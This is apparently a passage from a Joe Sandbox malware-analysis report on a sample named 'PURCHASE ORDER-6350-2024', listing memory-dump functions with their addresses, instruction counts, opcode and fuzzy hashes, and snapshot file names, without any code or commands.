API String ID:
Opcode ID: fcff40f9104133eb554a2c0b227812c26be04a87fe2b4aeb038379481b96ea6d
Instruction ID: 79647d1ed1a9227c5ad9ed929386c31a35e9db973e03830d1ee3c0b4a0365e77
Opcode Fuzzy Hash: fcff40f9104133eb554a2c0b227812c26be04a87fe2b4aeb038379481b96ea6d
Instruction Fuzzy Hash: 16412D70F102088FCB54DFA9D598A9EBBF2AF98314F148469E805AB365DF75DC82CB50

Function 06E12180 Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5fe43d5377c5aa69b4e0fb62d4055bf7caa544832d145116a1a06d5c9e766717
Instruction ID: a3670115caf2202c5eb2fb481b4031166722ca87829893737402e68b278b16e9
Opcode Fuzzy Hash: 5fe43d5377c5aa69b4e0fb62d4055bf7caa544832d145116a1a06d5c9e766717
Instruction Fuzzy Hash: 28415B30A102099FDB54DFA9D850AADBBF6EF89314F148569E501EB3A0DB30E981DB90

Function 06E1514E Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3142368250779db89cd8073d02041bd95cf94714c5ec75d00993e3008c28e1cf
Instruction ID: d528af900c8ee1639bc3b2e0751e7a7b7c40c575d1189d181b3e1ae9714d1572
Opcode Fuzzy Hash: 3142368250779db89cd8073d02041bd95cf94714c5ec75d00993e3008c28e1cf
Instruction Fuzzy Hash: B431A5727197804FD7165BB898293693FF29B86211F1944A7E442CF2D7CD688C06C761

Function 06E141A0 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3de8e5802fdbcb31971c79fc329595c9a51e4ca390d4e687c68b4ddb76140004
Instruction ID: e24495db50afa5494f6587bc83f132c4b980657d1ff5aff3c67e85fd41465d70
Opcode Fuzzy Hash: 3de8e5802fdbcb31971c79fc329595c9a51e4ca390d4e687c68b4ddb76140004
Instruction Fuzzy Hash: 0C310430A05305DFEBA99F64D944BEE77F6AF85300F249169E802DB390DB30D941DB91

Function 06E14018 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc08730864a327b325c531aaf79b6df2b3bab0a5a6c05e0f6fdef8b1fbac1b59
Instruction ID: d877743a3ac2986afc2bdd3ade8adab78969bbc8f9b1101859d3510a974c60a8
Opcode Fuzzy Hash: dc08730864a327b325c531aaf79b6df2b3bab0a5a6c05e0f6fdef8b1fbac1b59
Instruction Fuzzy Hash: 3431AE71E10319DFCB54AFA9D85089EBBF6FF84310F10822AE401AB364EB319845CBD1

Function 06E1C7C8 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b68a00f53f7c64a949e952fa82a13d633cb34bc38fc19cf4b3bb76614affe2c
Instruction ID: b43de5650e85b9b106f3f33e0652d49e0c358c03a2efe8dbeed29dedabd17995
Opcode Fuzzy Hash: 7b68a00f53f7c64a949e952fa82a13d633cb34bc38fc19cf4b3bb76614affe2c
Instruction Fuzzy Hash: 99312574954209CFDB40CF68C5849FDB7BAFB49B01B64A541D50AEB242C738E981EFA0

Function 06E17FF8 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67387e94ec22dc92e102ebca923fba0a869b1812ebcb8d30416a9f02c971de64
Instruction ID: 07ac1d8baa30b5d20565d90aa216c63e6f258fa790d98c3b84410177ac851790
Opcode Fuzzy Hash: 67387e94ec22dc92e102ebca923fba0a869b1812ebcb8d30416a9f02c971de64
Instruction Fuzzy Hash: 0431E430E0A348CFE7A08FA9CC402BBBBB1AF45301F00956BE5A6DF291E3749940D391

Function 06E10088 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01f5ca98c1ce77c8e2fc21c6db4c685ea88ec52c8755a21d5d168eccb9f7ce1e
Instruction ID: a3bbb1ed557fef47413ba31ee16dd5a2befeefc7f7de09f0cb90a1dcc51b346b
Opcode Fuzzy Hash: 01f5ca98c1ce77c8e2fc21c6db4c685ea88ec52c8755a21d5d168eccb9f7ce1e
Instruction Fuzzy Hash: C5314D70A00305EFEB61DF64D898BAEBBF6FF88714F10881DE4569B291CB799944CB50

Function 06E1E770 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9f7291af3e63238792ec6c42de510d69a37008c38891589f57a4cb70b54dd1d
Instruction ID: e4a71ad2475213e510663825e0e9be2e7bb39b9331bc8989804f16a841adbc93
Opcode Fuzzy Hash: e9f7291af3e63238792ec6c42de510d69a37008c38891589f57a4cb70b54dd1d
Instruction Fuzzy Hash: 86318B74D05205CFEB80DFA8E2448ADBBF6FB09302B04A466E90AEB352D7349D45DF90

Function 06E1E011 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9febba8607ddd181a180cdb03901ac33a2b287d06223ba5c39479f88167c8f82
Instruction ID: 64045eae6785c0e7bae145d42985dcbba8bdda729a2b21b1f8dcf66ea58ebf7b
Opcode Fuzzy Hash: 9febba8607ddd181a180cdb03901ac33a2b287d06223ba5c39479f88167c8f82
Instruction Fuzzy Hash: 6F314670A06305CFD790DFA8E2489ACBBFBFB09302B04A065F90A9B356DB309945DF40

Function 0100D4C4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2047466175.000000000100D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0100D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100d000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d567e4f19874a722e06c894e771bc73b20307d7b65e8ce066f15dc801f3111e
Instruction ID: c5addf26a0a996b7f2b43a2492e4ec8d01b644118262e1af2d0f742a36264adb
Opcode Fuzzy Hash: 9d567e4f19874a722e06c894e771bc73b20307d7b65e8ce066f15dc801f3111e
Instruction Fuzzy Hash: 3121F471504240DFEB06DF98D980B2ABFA5FB88318F20C5A9ED490B296C336D456C7B2

Function 06E12F4B Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dae8c69b392a2530283287f51988733bfd1c672d9d967745e02cfb24673cf7ed
Instruction ID: 922588606252d70d429f318c172631179c8920308cebd1e5d9c86d770702900d
Opcode Fuzzy Hash: dae8c69b392a2530283287f51988733bfd1c672d9d967745e02cfb24673cf7ed
Instruction Fuzzy Hash: F6213075B002058FCF54EF69C8948EEBBB5FF89200B508679D905EB355EB30AE45CBA0

Function 06E14AF8 Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44ee9d641e5253162405281e35f237276449b7d2962f5771f292bca39cef2985
Instruction ID: e9521081e48eb9e5eace1e5639d81017b393dcd1ac1a0551997f7a86b392e56b
Opcode Fuzzy Hash: 44ee9d641e5253162405281e35f237276449b7d2962f5771f292bca39cef2985
Instruction Fuzzy Hash: 75210172B147108FEB154FB8A82927E3EE2ABC5201F044467E413CB3D5CE788C06D791

Function 0101D1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2048125445.000000000101D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0101D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_101d000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9b4bd793ee6d221d43a5399f7661cbcf741e9b7ee4b39cd3d8481d81eb273ba
Instruction ID: dc7368d5f012f21a236a67f9f6785433678dcae70540d4f52744040e11c95087
Opcode Fuzzy Hash: e9b4bd793ee6d221d43a5399f7661cbcf741e9b7ee4b39cd3d8481d81eb273ba
Instruction Fuzzy Hash: EC213771504200EFDB05DF98D5C8F26BBA5FB94324F20C6ADE9894B25AC33ED406CB61

Function 0101D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2048125445.000000000101D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0101D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_101d000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68d5ca88e6f38e6ee4bb33548faf53b1f0feb505a6e797e4011d6a01ac7f7e74
Instruction ID: d2178069c1b021bfb609982189d0dc85de1f062d925b61652e30cc5c30eb2621
Opcode Fuzzy Hash: 68d5ca88e6f38e6ee4bb33548faf53b1f0feb505a6e797e4011d6a01ac7f7e74
Instruction Fuzzy Hash: 34212575504200DFCB16DFA8D988B16BFA5FB84314F20C5ADE9890B25AC33ED407CB61

Function 06E1C510 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 345a5775e869b2894d9ad093f93ab1f6bbae6d8009e3fd7554a017c368d7277f
Instruction ID: c5967a2ce7f911377f7cf8afe9fb6382060ddda3ab8aef10bc849d41743528cc
Opcode Fuzzy Hash: 345a5775e869b2894d9ad093f93ab1f6bbae6d8009e3fd7554a017c368d7277f
Instruction Fuzzy Hash: 39219F74D49348CFCB55CF6AC8405DDBFF5AFCE200B24A1A6E405EB251D3788A45DB90

Function 06E101F2 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf19f2083b4b026edad744fbbc46ce396303c226841a7f13a4563df26eb531bd
Instruction ID: 75f3b944deb7842aa1609db659601db5e247543ba22f4e5dd79ef878fa8df1ea
Opcode Fuzzy Hash: cf19f2083b4b026edad744fbbc46ce396303c226841a7f13a4563df26eb531bd
Instruction Fuzzy Hash: E2213830A403058FEBA9DB29D8547BE7B52FFC0314F14982AE8034B6E5CF3889CAD641

Function 06E12F58 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84875719a1d0382bc541b44e099eabf19ad0a822a4331dd889dbb065d54fe71d
Instruction ID: 7047b98ff4c018c6a3abd01c02075b40af4243f21a2342d2947016df3f0bdc1f
Opcode Fuzzy Hash: 84875719a1d0382bc541b44e099eabf19ad0a822a4331dd889dbb065d54fe71d
Instruction Fuzzy Hash: 25211075E002098FCF44EF69C8848EEF7B5FF89200B508669D915B7355EB30EA45CBA0

Function 06E10258 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e16641bac6de01608525d15c673b635e896eb17217d717b9879f7b3dcff12012
Instruction ID: 6fe25e289fcc85820cdf22a04bf55d7d34efcd7deb6a3fcd852f76b77fabfdb6
Opcode Fuzzy Hash: e16641bac6de01608525d15c673b635e896eb17217d717b9879f7b3dcff12012
Instruction Fuzzy Hash: BC11E431A003018BE769DB6AE584B6FB79BEFC0314F04883AE4064B679CF74D4C6D650

Function 06E18188 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f79d4ce2a62729ebb10b0fae144823d61dae268f75c43d058c59fd3ce6890a8c
Instruction ID: 608dda218cc46d31159193bcbade56fa57b0c4f3e559266fe76e321005ae3ba2
Opcode Fuzzy Hash: f79d4ce2a62729ebb10b0fae144823d61dae268f75c43d058c59fd3ce6890a8c
Instruction Fuzzy Hash: A521C072B14755CFE7958FADCD406BBBBB1BB85301F00552BA2269A281D2309958D392

Function 06E14B51 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fdaa01a7e14b31089f6020d4cf9d19d37d270c48d85248160ba0186100ec4b50
Instruction ID: 5b5a81ad82bc46e23c4519eb60841e000569aecf1268420831b5caf57e197e7a
Opcode Fuzzy Hash: fdaa01a7e14b31089f6020d4cf9d19d37d270c48d85248160ba0186100ec4b50
Instruction Fuzzy Hash: 3C11AF72B107008FEB555FB8982937E3AE2ABC9211F14846AE413CB3D5CE798C06DB91

Function 06E18179 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 432735a3a19a82048e544046d962b08636c78156e683d0f32461e56a6b5c62e0
Instruction ID: 4a2010bdd1481581b20c827859236f705c6970bffc09f9eece8caf8b2fb8f84b
Opcode Fuzzy Hash: 432735a3a19a82048e544046d962b08636c78156e683d0f32461e56a6b5c62e0
Instruction Fuzzy Hash: 4811DC72A04614CFE7848FA9CD806ABB7B1FBC4300F00452BE626AA281E3309948D7D1

Function 06E1F4D0 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8f833ae2d53d35543beb2c6a9f3ae81146111647c9c16134fc6f3b3b606378b
Instruction ID: 09babb8716da68d0e005d97928a9161781da13da6e07f300c6a831c576a96a9f
Opcode Fuzzy Hash: e8f833ae2d53d35543beb2c6a9f3ae81146111647c9c16134fc6f3b3b606378b
Instruction Fuzzy Hash: 9C119E70F003198FDB989E7999146BF7AE6AF84760F14D529E8268B380EA30CD01E7D0

Function 06E1E0C2 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2d8bfedf35f8efb215f9a7f7cc81bc0e6d594867a1d7084e7cf82efc62c3fef
Instruction ID: 6cc84dc52c33f177799fe9e538dce89031c7d5bb2ca5da7a3600b2953ef88f28
Opcode Fuzzy Hash: b2d8bfedf35f8efb215f9a7f7cc81bc0e6d594867a1d7084e7cf82efc62c3fef
Instruction Fuzzy Hash: 9C216034A40206DFD754DF68E854AACBBB7FB48200F208269DA0AE7315DF305D45CF50

Function 0100D4BF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2047466175.000000000100D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0100D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100d000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction ID: 4569be0483008d39f7abc1a3d5c1f6bfd01d4b75a845c92660520655dc5a1ae8
Opcode Fuzzy Hash: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction Fuzzy Hash: 6011DF72404280CFDB02CF54D5C4B16BFB1FB88314F24C6A9DD490B296C336D45ACBA2

Function 0101D017 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2048125445.000000000101D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0101D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_101d000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction ID: a89a0ab8b905ab752b6795ee5d58e2b63e5c5f58495a698443d7e6be96a6e34e
Opcode Fuzzy Hash: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction Fuzzy Hash: D211D075504280CFDB12CF58D5C8B15FFA2FB44314F24C6AAE8494B65AC33BD44ACB62

Function 0101D1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2048125445.000000000101D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0101D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_101d000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction ID: 1c9fbdd124d695883b599bbd054b0738d22a16933d4ea0c4fb503c35e90f963b
Opcode Fuzzy Hash: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction Fuzzy Hash: CC11BB75504280DFDB02CF58C5C8B15BFA1FB84224F24C6A9D8894B69AC33AD40ACB62

Function 06E125F7 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f59ff0b1b71015b985ee8c3fbd56533c7cf7f710088a5554388986c67a01fa3b
Instruction ID: e7b7c76341ec30b5f80ab9f1ecc9b5f9bd776bd12b8632856013c7d5a7badf40
Opcode Fuzzy Hash: f59ff0b1b71015b985ee8c3fbd56533c7cf7f710088a5554388986c67a01fa3b
Instruction Fuzzy Hash: 9711CE30E0020E8FDB45EF68CC426EEBBB0EF48344F148528C855FB291DB749546DB90

Function 06E18290 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5bc275e11e65f61eaaed7c41e35e4ad14c31ff7ad549d4beea8a9392a7d995b
Instruction ID: 4497c5179b9e15c188538b979e3dc8bba0e8f6090a5b743402519d2ec2edea0b
Opcode Fuzzy Hash: e5bc275e11e65f61eaaed7c41e35e4ad14c31ff7ad549d4beea8a9392a7d995b
Instruction Fuzzy Hash: B901D630B41B00DFE3584B299C04B7B7797AFC4B00F959466E6028F3A5CAB4D802C791

Function 06E10253 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f1ada9151066b0c14adb7a9226c97488dd86a1ced3c9277af25b73a589586bf
Instruction ID: 1bcf1cef9644d880eb8d554f381c8d5a9801bb74bec4bc8ba758c548d6bb03e3
Opcode Fuzzy Hash: 5f1ada9151066b0c14adb7a9226c97488dd86a1ced3c9277af25b73a589586bf
Instruction Fuzzy Hash: 2D012830A003018BE775DB6BE984BAFBB9BEFC0314F04842AE8464B5A9DF74D4C6D651

Function 06E1C8D9 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a06a210a5af490201395296ab4849ee19db9e43600f89731ba888ebebd707db
Instruction ID: 2baef8f188efd032e214ee1e04a7ba33d06aba6e20e830ac7033bb18239f02af
Opcode Fuzzy Hash: 4a06a210a5af490201395296ab4849ee19db9e43600f89731ba888ebebd707db
Instruction Fuzzy Hash: 9101B17098D344DFD740CB66C5519EDBFBD9B4A618B24A1A5D049DF212C7388A02FB90

Function 06E1D800 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 225c8d76e1fecd30b88684a7da5f7c90ae849085cf5b34c3bf47d2d13aa5eb67
Instruction ID: 094f87d56c3f07a3dfd77681424dbc2f8216818d38c361a4ebedb7a8c5c26edf
Opcode Fuzzy Hash: 225c8d76e1fecd30b88684a7da5f7c90ae849085cf5b34c3bf47d2d13aa5eb67
Instruction Fuzzy Hash: 29113074C052499FCB91DFA8C840AAEBFF5EF49301F109196E954E7341D3349B40DB90

Function 06E1C951 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27a2c412d72621c12dab1c32ebb866cf91c7a1facb5fd3fa2b389697084dc16d
Instruction ID: 949ae0486d3e28ac6546d30db091c52d80a3099b999a65972d3e8479e5559bce
Opcode Fuzzy Hash: 27a2c412d72621c12dab1c32ebb866cf91c7a1facb5fd3fa2b389697084dc16d
Instruction Fuzzy Hash: 56018C34A09248DFD705CFA8C558AA9BFF5EF09200F259094E5099B362C734DE44EB40

Function 0100D745 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2047466175.000000000100D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0100D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_100d000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c60ad0301193bfa7a8d5f757d749bb44b598b5224d749935031f9520a02b97d8
Instruction ID: 5b9626f1e9b12761ac0c2be642384a77b7bca502a41f747e0b919c136155127b
Opcode Fuzzy Hash: c60ad0301193bfa7a8d5f757d749bb44b598b5224d749935031f9520a02b97d8
Instruction Fuzzy Hash: F801FC3100438499F7124AD9CD84B5ABFDCFF45324F18C56AED4C0A2C6E2799440C771

Function 06E1E137 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c277f456d762e1752f40f860d8c992c79319ed4c351b94dfe43fceab49f4dd8
Instruction ID: 10fc152ad11db48df92ba7c14d071f6bfd80bd7dc7235a480367781c9593aab4
Opcode Fuzzy Hash: 5c277f456d762e1752f40f860d8c992c79319ed4c351b94dfe43fceab49f4dd8
Instruction Fuzzy Hash: 7C117C74A06304DFC750DFA8E6889ACBFFBFB09301B04A065E50A9F396DB309944DB40

Function 06E13600 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3decf4f2559a80ee613a60e8f4df41b9dc00f611f3b153d48a6ffa5c2cbab505
Instruction ID: ef47bb2b0f46fa5841a65b972d6e6ce73179c84c8a045552f38e96534017f934
Opcode Fuzzy Hash: 3decf4f2559a80ee613a60e8f4df41b9dc00f611f3b153d48a6ffa5c2cbab505
Instruction Fuzzy Hash: 5301DE72D1420A9FDF50DF99D9459EFBBB8EB44360F104126E918B7240D770AE14DBA1

Function 06E12608 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058380748.0000000006E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e10000_PURCHASE ORDER-6350-2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e929a6f8acfddc1661edff5db30c1ab4d3c994357446d509145bcd45c4baa750
Instruction ID: 1148d6b40cd7a237c405007ca56841cd5fb87785ffea6e3d05f6cb3eb7c18ef4
Opcode Fuzzy Hash: e929a6f8acfddc1661edff5db30c1ab4d3c994357446d509145bcd45c4baa750
